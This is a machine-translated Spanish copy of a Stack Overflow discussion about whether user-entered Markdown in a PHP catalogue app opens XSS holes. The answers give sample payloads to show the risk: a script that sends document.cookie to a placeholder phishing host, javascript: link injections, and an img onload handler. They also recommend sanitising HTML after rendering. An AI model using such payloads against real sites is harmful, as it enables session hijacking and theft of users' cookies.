Pregunta

Estoy trabajando en una aplicación web que permite a los usuarios escribir breves descripciones de los elementos de un catálogo.Estoy permitiendo que las Rebajas en mi textareas para que los usuarios puedan hacer algo de formato HTML.

Mi texto de saneamiento función elimina todas las etiquetas de cualquier ingresado el texto antes de insertar en la base de datos:

public function sanitizeText($string, $allowedTags = "") {
    $string = strip_tags($string, $allowedTags);

    if(get_magic_quotes_gpc()) {
        return mysql_real_escape_string(stripslashes($string));
    } else {
        return mysql_real_escape_string($string);
    }
}

Esencialmente, todo lo que quiero almacenar en la base de datos es de Rebajas--ningún otro HTML, incluso "HTML básico" (como aquí en ASÍ) está permitido.

Se permite la rebaja presente cualquier amenaza a la seguridad?Puede rebajas ser XSSed, aunque no tiene las etiquetas?

¿Fue útil?

Solución

Creo que quitar cualquier etiqueta HTML de la entrada te dará algo bastante seguro, excepto si alguien encuentra la manera de inyectar algunos datos realmente desordenados en Markdown, haciendo que genere una salida aún más desordenada ^^

Aún así, aquí hay dos cosas que me vienen a la mente:

Primero: strip_tags no es una función milagrosa: tiene algunos defectos ...
Por ejemplo, eliminará todo después de '<', en una situación como esta:

$str = "10 appels is <than 12 apples";
var_dump(strip_tags($str));

El resultado que obtengo es:

string '10 appels is ' (length=13)

Que no es tan bueno para sus usuarios :-(


Segundo: Un día u otro, es posible que desee permitir algunas etiquetas / atributos HTML; o, incluso hoy, es posible que desee asegurarse de que Markdown no genere algunas etiquetas / atributos HTML.

Es posible que le interese algo como HTMLPurifier : le permite especificar qué etiquetas y atributos deben mantenerse, y filtra una cadena para que solo queden.

También genera código HTML válido, que siempre es agradable ;-)

Otros consejos

Aquí hay un hermoso ejemplo de por qué necesita desinfectar el HTML después, no antes:

Código de rebaja:

>  <script type="text/javascript"
>  language="js">i=new Image\(\); i.src='http://phishingwebsite.example.com/?l='
> + escape\(window.location\) + '&c=' + escape\(document.cookie\);
> </script>
>

Representado como:

<blockquote> 
<p><script type="text/javascript"
 language="js">i=new Image(); i.src='http://phishingwebsite.example.com/?l='
+ escape(window.location) + '&amp;c=' + escape(document.cookie);
</script></p> 
</blockquote> 

¿Ahora estás preocupado?

Desinfectar el HTML resultante después de representar el Markdown será más seguro. Si no lo hace, creo que la gente podría ejecutar Javascript arbitrario en Markdown así:

[Click me](javascript:alert\('Gotcha!'\);)

PHP Markdown convierte esto a:

<p><a href="javascript:alert&#40;'Gotcha!'&#41;;">Click me</a></p>

Que hace el trabajo. ... y ni siquiera piense en comenzar a agregar código para encargarse de estos casos. La correcta desinfección no es fácil, solo use una buena herramienta y aplíquela después de renderizar su Markdown en HTML.

  

Permitirá que Markdown presente   ¿amenazas de seguridad? Se puede rebajar   XSSed, a pesar de que no tiene etiquetas?

Es casi imposible hacer declaraciones absolutas a ese respecto: ¿quién puede decir en qué se puede engañar al analizador de rebajas con una entrada con formato incorrecto suficiente?

Sin embargo, el riesgo es probablemente muy bajo, ya que es una sintaxis relativamente simple. El ángulo de ataque más obvio sería javascript: URL en enlaces o imágenes, probablemente no permitidos por el analizador, pero es algo que verificaría.

No.La forma en que usted está usando Markdown no es seguro.Las rebajas pueden ser utilizados de forma segura, pero tienes que usarlo bien.Para obtener detalles sobre cómo utilizar las Rebajas de forma segura, mira aquí.El enlace para ver los detalles acerca de cómo usar de manera segura, pero la versión corta es:es importante el uso de la última versión, para establecer safe_mode, y para establecer enable_attributes=False.

El enlace también explica por qué escapar de la entrada y, a continuación, llamar a las Rebajas (como lo están haciendo), no es suficiente para estar seguro.Breve ejemplo:"[clickme](javascript:alert%28%22xss%22%29)".

BBcode proporciona más seguridad porque está generando las etiquetas.

< img src = " " onload = " javascript: alert (\ 'jaja \'); " / >

Si < img > está permitido, esto irá directamente a través de strip_tags;) Bam!

Estoy de acuerdo con Pascal MARTIN en que la desinfección HTML es un mejor enfoque. Si desea hacerlo completamente en JavaScript, le sugiero que eche un vistazo a desinfección de google-caja biblioteca ( código fuente ).

Licenciado bajo: CC-BY-SA con atribución
No afiliado a StackOverflow
scroll top